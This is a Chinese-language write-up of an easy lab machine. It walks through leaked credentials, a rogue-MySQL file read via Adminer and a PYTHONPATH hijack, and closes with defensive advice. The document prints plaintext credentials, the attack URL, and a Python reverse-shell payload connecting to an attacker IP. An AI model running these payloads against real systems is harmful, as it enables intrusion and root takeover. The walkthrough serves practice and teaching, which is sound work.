[Meachines] [Easy] Adminer Adminer远程Mysql反向文件读取+Python三方库函数劫持权限提升
字数 1042 2025-08-19 12:40:34

Adminer远程Mysql反向文件读取+Python三方库函数劫持权限提升技术分析

信息收集阶段

初始扫描

目标IP: 10.10.10.187

开放端口和服务:

  • 21/tcp: vsftpd 3.0.3 (FTP服务)
  • 22/tcp: OpenSSH 7.4p1 (SSH服务)
  • 80/tcp: Apache httpd 2.4.25 (Web服务)

Web目录爆破

发现敏感目录和文件:

  • /admin-dir/credentials.txt - 包含FTP凭据
  • /utility-scripts/ - 包含adminer.php (MySQL管理工具)

获取的凭据

ftpuser:%n?4Wz}R$tTF7 (FTP)
waldo:]F7jLHw:*G>UPrTo}~A"d6b (数据库)
waldo:Wh3r3_1s_w4ld0? (数据库)
waldo:&<h5b~yK3F#{PaPB&dA}{H> (SSH)

漏洞利用过程

第一阶段:通过FTP获取文件

  1. 使用获取的FTP凭据登录

  2. 下载关键文件:

    • html.tar.gz (网站源码)
    • dump.sql (数据库转储)
  3. 解压和分析html.tar.gz:

    tar -zxvf html.tar.gz
    grep -iR password ./
    

第二阶段:Adminer远程MySQL反向文件读取

  1. 在攻击者机器上配置MySQL服务器:

    • 编辑配置文件 /etc/mysql/mariadb.conf.d/50-server.cnf
    • 启动MySQL服务
  2. 创建用于攻击的数据库和用户:

    CREATE DATABASE H4CK13;
    CREATE USER 'admin'@'10.10.10.187' IDENTIFIED BY 'TEST';
    GRANT ALL ON H4CK13.* TO 'admin'@'10.10.10.187';
    FLUSH PRIVILEGES;
    CREATE TABLE TEST_LOAD(OUTPUT TEXT(4096));
    
  3. 通过Adminer.php执行反向文件读取:

    http://10.10.10.187/utility-scripts//adminer.php?server=10.10.16.5&username=admin&db=H4CK13&sql=LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE TEST_LOAD FIELDS TERMINATED BY "\n" select * from TEST_LOAD
    

    注意:Adminer限制了只能读取/var/www/html目录下的文件

第三阶段:获取用户权限

  1. 使用找到的SSH凭据登录:

    ssh waldo@10.10.10.187
    密码: &<h5b~yK3F#{PaPB&dA}{H>
    
  2. 获取user.txt:

    64332fee15a06c428fa01b4185bdd695
    

权限提升技术

Python库函数劫持技术

  1. 检查sudo权限:

    sudo -l
    
  2. 发现可以利用Python环境变量劫持:

    • 目标脚本/opt/scripts/admin_tasks.sh可能调用了Python的shutil模块
  3. 创建恶意shutil.py:

    # /dev/shm/shutil.py
    import socket,subprocess,os
    import pty
    
    def make_archive(a,b,c):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("10.10.16.5",10032))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        pty.spawn("/bin/sh")
    
  4. 执行权限提升:

    sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh
    # 选择选项6 (假设是备份功能,会调用shutil.make_archive)
    

技术原理

  • /dev/shm是Linux的共享内存临时文件系统,速度快且不会写入磁盘
  • Python会优先从PYTHONPATH指定的路径导入模块
  • 通过劫持shutil.make_archive()函数,在sudo执行时获得root shell

防御措施

  1. 针对Adminer漏洞:

    • 限制Adminer的访问IP
    • 更新到最新版本
    • 禁用LOAD DATA LOCAL INFILE功能
  2. 针对Python库劫持:

    • 使用完整路径调用Python脚本
    • 重置PYTHONPATH环境变量
    • 限制sudo权限,避免使用环境变量
  3. 通用安全建议:

    • 定期更新所有服务
    • 使用最小权限原则
    • 监控异常文件操作和网络连接
Adminer远程Mysql反向文件读取+Python三方库函数劫持权限提升技术分析 信息收集阶段 初始扫描 目标IP: 10.10.10.187 开放端口和服务: 21/tcp: vsftpd 3.0.3 (FTP服务) 22/tcp: OpenSSH 7.4p1 (SSH服务) 80/tcp: Apache httpd 2.4.25 (Web服务) Web目录爆破 发现敏感目录和文件: /admin-dir/credentials.txt - 包含FTP凭据 /utility-scripts/ - 包含adminer.php (MySQL管理工具) 获取的凭据 漏洞利用过程 第一阶段:通过FTP获取文件 使用获取的FTP凭据登录 下载关键文件: html.tar.gz (网站源码) dump.sql (数据库转储) 解压和分析html.tar.gz: 第二阶段:Adminer远程MySQL反向文件读取 在攻击者机器上配置MySQL服务器: 编辑配置文件 /etc/mysql/mariadb.conf.d/50-server.cnf 启动MySQL服务 创建用于攻击的数据库和用户: 通过Adminer.php执行反向文件读取: 注意:Adminer限制了只能读取 /var/www/html 目录下的文件 第三阶段:获取用户权限 使用找到的SSH凭据登录: 获取user.txt: 权限提升技术 Python库函数劫持技术 检查sudo权限: 发现可以利用Python环境变量劫持: 目标脚本 /opt/scripts/admin_tasks.sh 可能调用了Python的 shutil 模块 创建恶意shutil.py: 执行权限提升: 技术原理 /dev/shm 是Linux的共享内存临时文件系统,速度快且不会写入磁盘 Python会优先从 PYTHONPATH 指定的路径导入模块 通过劫持 shutil.make_archive() 函数,在sudo执行时获得root shell 防御措施 针对Adminer漏洞 : 限制Adminer的访问IP 更新到最新版本 禁用 LOAD DATA LOCAL INFILE 功能 针对Python库劫持 : 使用完整路径调用Python脚本 重置 PYTHONPATH 环境变量 限制sudo权限,避免使用环境变量 通用安全建议 : 定期更新所有服务 使用最小权限原则 监控异常文件操作和网络连接